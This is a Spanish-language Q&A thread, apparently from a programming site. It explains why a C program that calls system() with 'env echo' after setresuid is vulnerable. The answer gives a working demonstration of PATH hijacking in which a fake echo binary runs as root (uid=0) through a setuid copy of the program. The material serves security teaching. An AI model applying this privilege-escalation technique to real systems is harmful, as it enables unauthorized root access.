2011-11-29 12 views
34
#include <stdlib.h> 
#include <unistd.h> 
#include <string.h> 
#include <sys/types.h> 
#include <stdio.h> 

int main(int argc, char **argv, char **envp) 
{ 
    gid_t gid; 
    uid_t uid; 
    gid = getegid(); 
    uid = geteuid(); 

    setresgid(gid, gid, gid); 
    setresuid(uid, uid, uid); 

    system("/usr/bin/env echo and now what?"); 

} 

De la manera en que lo entiendo, el código anterior permite la ejecución de código arbitrario (o programa): ¿qué hace que esto sea vulnerable y cómo se aprovecha esto?¿Qué es vulnerable acerca de este código C?

+2

¿Por qué crees que esto permite la ejecución de código arbitrario? –

+0

bueno, para ser sincero, lo estoy tomando con fe ciega. Soy un estudiante de seguridad, estaba buscando un código vulnerable, y vi esto, dice en el libro que lo hace, sin embargo, no explica este ejemplo en particular. – quantumdisaster

+0

¿Quizás se refiera a la llamada al sistema? No soy un experto en esto, pero eso es lo único que me parece remotamente extraño. No hay desbordamientos de búfer ni nada de eso. –

Respuesta

51

Puede anular la variable PATH para que apunte a un directorio con su versión personalizada de echo y desde echo se ejecuta utilizando env, no se trata como un built-in.

Esto constituye una vulnerabilidad solo si el código se ejecuta como usuario con privilegios.

En el siguiente ejemplo, el archivo v.c contiene el código de la pregunta.

$ cat echo.c 
#include <stdio.h> 
#include <unistd.h> 

int main() { 
    printf("Code run as uid=%d\n", getuid()); 
} 
$ cc -o echo echo.c 
$ cc -o v v.c 
$ sudo chown root v 
$ sudo chmod +s v 
$ ls -l 
total 64 
-rwxr-xr-x 1 user  group 8752 Nov 29 01:55 echo 
-rw-r--r-- 1 user  group 99 Nov 29 01:54 echo.c 
-rwsr-sr-x 1 root  group 8896 Nov 29 01:55 v 
-rw-r--r-- 1 user  group 279 Nov 29 01:55 v.c 
$ ./v 
and now what? 
$ export PATH=.:$PATH 
$ ./v 
Code run as uid=0 
$ 

Tenga en cuenta que la configuración de identificador de usuario real, identificador de usuario efectivo y de usuario guardado Id por una llamada a setresuid() antes de la llamada a system() en el código vulnerable publicado en la pregunta le permite a uno para explotar la vulnerabilidad incluso cuando solo el ID de usuario efectivo se establece en una ID de usuario con privilegios y la ID de usuario real permanece sin privilegios (como es el caso, por ejemplo, cuando se depende del bit de identificación del usuario establecido en un archivo como el anterior). Sin la llamada al setresuid(), el shell ejecutado por system() restablecería el ID de usuario efectivo de nuevo a la identificación de usuario real, haciendo que el exploit sea ineficaz. Sin embargo, en el caso en que el código vulnerable se ejecuta con la identificación de usuario real de un usuario con privilegios, la llamada system() sola es suficiente. Citando la página sh hombre:

Si la envoltura se inicia con el usuario (grupo) efectivo ID no es igual al usuario real (grupo) Identificación, y la opción -p no se suministra, no hay archivos de inicio son leer, las funciones de shell no se heredan del entorno, la variable SHELLOPTS, si aparece en el entorno, se ignora y el usuario efectivo id se establece en la identificación de usuario real. Si la opción -p se proporciona en la invocación, el comportamiento de inicio es el mismo, pero la identificación de usuario efectiva no se restablece.

Además, tenga en cuenta que setresuid() no es portátil, pero setuid() o setreuid() también se puede utilizar para el mismo efecto.

+1

Simplemente curioso ... ¿cómo entra el PATH en esto? Hubiera pensado que dado que se especifica la ruta completa a "env", no se buscará el PATH. Por supuesto, si alguien tuviera permisos para poner un programa desagradable en/usr/bin/env, entonces habría problemas. – Ron

+0

ok muchas gracias – quantumdisaster

+12

'env' busca' PATH' para encontrar 'echo'. –